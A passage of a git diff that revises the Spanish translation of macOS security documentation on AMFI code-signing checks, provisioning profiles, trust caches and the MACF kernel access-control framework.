-- **`proc_check_run_cs_invalid`**: Intercepta llamadas a `ptrace()` (`PT_ATTACH` y `PT_TRACE_ME`). Verifica si alguno de los derechos `get-task-allow`, `run-invalid-allow` y `run-unsigned-code` y si ninguno, verifica si se permite la depuración.
-- **`proc_check_map_anon`**: Si se llama a mmap con la bandera **`MAP_JIT`**, AMFI verificará el derecho `dynamic-codesigning`.
+- **`vnode_check_signature`**: Código que llama a XNU para verificar la firma de código utilizando derechos, caché de confianza y `amfid`
+- **`proc_check_run_cs_invalid`**: Intercepta llamadas a `ptrace()` (`PT_ATTACH` y `PT_TRACE_ME`). Verifica si alguno de los derechos `get-task-allow`, `run-invalid-allow` y `run-unsigned-code` y si ninguno, verifica si se permite la depuración.
+- **`proc_check_map_anon`**: Si mmap se llama con la bandera **`MAP_JIT`**, AMFI verificará el derecho `dynamic-codesigning`.
`AMFI.kext` también expone una API para otras extensiones del kernel, y es posible encontrar sus dependencias con:
```bash
@@ -76,7 +76,7 @@ Una vez que se recibe un mensaje a través del puerto especial, **MIG** se utili
## Provisioning Profiles
-Un perfil de aprovisionamiento se puede utilizar para firmar código. Hay perfiles de **Desarrollador** que se pueden utilizar para firmar código y probarlo, y perfiles de **Empresa** que se pueden utilizar en todos los dispositivos.
+Un perfil de aprovisionamiento se puede utilizar para firmar código. Hay perfiles de **Desarrollador** que se pueden utilizar para firmar código y probarlo, y perfiles **Empresariales** que se pueden utilizar en todos los dispositivos.
Después de que una aplicación se envía a la Apple Store, si es aprobada, es firmada por Apple y el perfil de aprovisionamiento ya no es necesario.
@@ -98,7 +98,7 @@ Aunque a veces se les llama certificados, estos perfiles de aprovisionamiento ti
- **Entitlements**: Los derechos permitidos con derechos para este perfil
- **ExpirationDate**: Fecha de expiración en formato `YYYY-MM-DDTHH:mm:ssZ`
- **Name**: El Nombre de la Aplicación, el mismo que AppIDName
-- **ProvisionedDevices**: Un array (para certificados de desarrollador) de UDIDs para los cuales este perfil es válido
+- **ProvisionedDevices**: Un array (para certificados de desarrollador) de UDIDs para los que este perfil es válido
- **ProvisionsAllDevices**: Un booleano (verdadero para certificados empresariales)
- **TeamIdentifier**: Un array de (usualmente uno) cadena(s) alfanumérica(s) utilizadas para identificar al desarrollador para propósitos de interacción entre aplicaciones
- **TeamName**: Un nombre legible por humanos utilizado para identificar al desarrollador
@@ -106,9 +106,9 @@ Aunque a veces se les llama certificados, estos perfiles de aprovisionamiento ti
- **UUID**: Un Identificador Único Universal para este perfil
- **Version**: Actualmente establecido en 1
-Nota que la entrada de derechos contendrá un conjunto restringido de derechos y el perfil de aprovisionamiento solo podrá otorgar esos derechos específicos para evitar otorgar derechos privados de Apple.
+Tenga en cuenta que la entrada de derechos contendrá un conjunto restringido de derechos y el perfil de aprovisionamiento solo podrá otorgar esos derechos específicos para evitar otorgar derechos privados de Apple.
-Nota que los perfiles generalmente se encuentran en `/var/MobileDeviceProvisioningProfiles` y es posible verificarlos con **`security cms -D -i /path/to/profile`**
+Tenga en cuenta que los perfiles generalmente se encuentran en `/var/MobileDeviceProvisioningProfiles` y es posible verificarlos con **`security cms -D -i /path/to/profile`**
## **libmis.dyld**
@@ -118,7 +118,7 @@ En macOS esto está dentro de `MobileDevice.framework`.
## AMFI Trust Caches
-iOS AMFI mantiene una lista de hashes conocidos que están firmados ad-hoc, llamada **Trust Cache** y se encuentra en la sección `__TEXT.__const` del kext. Nota que en operaciones muy específicas y sensibles es posible extender este Trust Cache con un archivo externo.
+iOS AMFI mantiene una lista de hashes conocidos que están firmados ad-hoc, llamada **Trust Cache** y se encuentra en la sección `__TEXT.__const` del kext. Tenga en cuenta que en operaciones muy específicas y sensibles es posible extender este Trust Cache con un archivo externo.
## References
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
index 45990e3d1..f77ed195a 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
@@ -22,11 +22,11 @@ Ten en cuenta que MACF realmente no toma decisiones, ya que solo **intercepta**
### Etiquetas
-MACF utiliza **etiquetas** que luego las políticas comprobarán si deben otorgar algún acceso o no. El código de la declaración de la estructura de etiquetas se puede [encontrar aquí](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), que se utiliza dentro de la **`struct ucred`** en [**aquí**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) en la parte de **`cr_label`**. La etiqueta contiene flags y un número de **slots** que pueden ser utilizados por **políticas de MACF para asignar punteros**. Por ejemplo, Sanbox apuntará al perfil del contenedor.
+MACF utiliza **etiquetas** que luego las políticas comprobarán si deben otorgar algún acceso o no. El código de la declaración de la estructura de etiquetas se puede [encontrar aquí](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), que se utiliza dentro de la **`struct ucred`** en [**aquí**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) en la parte de **`cr_label`**. La etiqueta contiene banderas y un número de **slots** que pueden ser utilizados por **políticas MACF para asignar punteros**. Por ejemplo, Sanbox apuntará al perfil del contenedor.
-## Políticas de MACF
+## Políticas MACF
-Una Política de MACF define **reglas y condiciones que se aplicarán en ciertas operaciones del kernel**.
+Una Política MACF define **reglas y condiciones que se aplican en ciertas operaciones del kernel**.
Una extensión del kernel podría configurar una estructura `mac_policy_conf` y luego registrarla llamando a `mac_policy_register`. Desde [aquí](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c
@@ -67,7 +67,7 @@ void *mpc_data; /** module data */
```
Es fácil identificar las extensiones del kernel que configuran estas políticas al verificar las llamadas a `mac_policy_register`. Además, al revisar el desensamblado de la extensión, también es posible encontrar la estructura `mac_policy_conf` utilizada.
-Tenga en cuenta que las políticas de MACF pueden registrarse y desregistrarse también **dinámicamente**.
+Tenga en cuenta que las políticas de MACF pueden registrarse y anularse también **dinámicamente**.
Uno de los campos principales de `mac_policy_conf` es **`mpc_ops`**. Este campo especifica qué operaciones le interesan a la política. Tenga en cuenta que hay cientos de ellas, por lo que es posible establecer todas en cero y luego seleccionar solo las que le interesan a la política. Desde [aquí](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c
@@ -82,10 +82,10 @@ mpo_cred_check_label_update_execve_t *mpo_cred_check_label_update_execve;
mpo_cred_check_label_update_t *mpo_cred_check_label_update;
[...]
```
-Casi todos los hooks serán llamados por MACF cuando una de esas operaciones sea interceptada. Sin embargo, los hooks **`mpo_policy_*`** son una excepción porque `mpo_hook_policy_init()` es un callback llamado al registrarse (después de `mac_policy_register()`) y `mpo_hook_policy_initbsd()` se llama durante el registro tardío una vez que el subsistema BSD se ha inicializado correctamente.
+Casi todos los hooks serán llamados por MACF cuando se intercepten una de esas operaciones. Sin embargo, los hooks **`mpo_policy_*`** son una excepción porque `mpo_hook_policy_init()` es un callback llamado al registrarse (después de `mac_policy_register()`) y `mpo_hook_policy_initbsd()` se llama durante el registro tardío una vez que el subsistema BSD se ha inicializado correctamente.
Además, el hook **`mpo_policy_syscall`** puede ser registrado por cualquier kext para exponer una interfaz de llamada de estilo **ioctl** privada. Luego, un cliente de usuario podrá llamar a `mac_syscall` (#381) especificando como parámetros el **nombre de la política** con un **código** entero y **argumentos** opcionales.\
-Por ejemplo, el **`Sandbox.kext`** utiliza esto mucho.
+Por ejemplo, **`Sandbox.kext`** utiliza esto mucho.
Revisando el **`__DATA.__const*`** del kext es posible identificar la estructura `mac_policy_ops` utilizada al registrar la política. Es posible encontrarla porque su puntero está en un desplazamiento dentro de `mpo_policy_conf` y también debido a la cantidad de punteros NULL que habrá en esa área.
@@ -97,7 +97,7 @@ MACF se inicializa muy pronto. Se configura en el `bootstrap_thread` de XNU: des
## Llamadas de MACF
-Es común encontrar llamadas a MACF definidas en el código como: **`#if CONFIG_MAC`** bloques condicionales. Además, dentro de estos bloques es posible encontrar llamadas a `mac_proc_check*` que llaman a MACF para **verificar permisos** para realizar ciertas acciones. Además, el formato de las llamadas de MACF es: **`mac_
.png)
.png)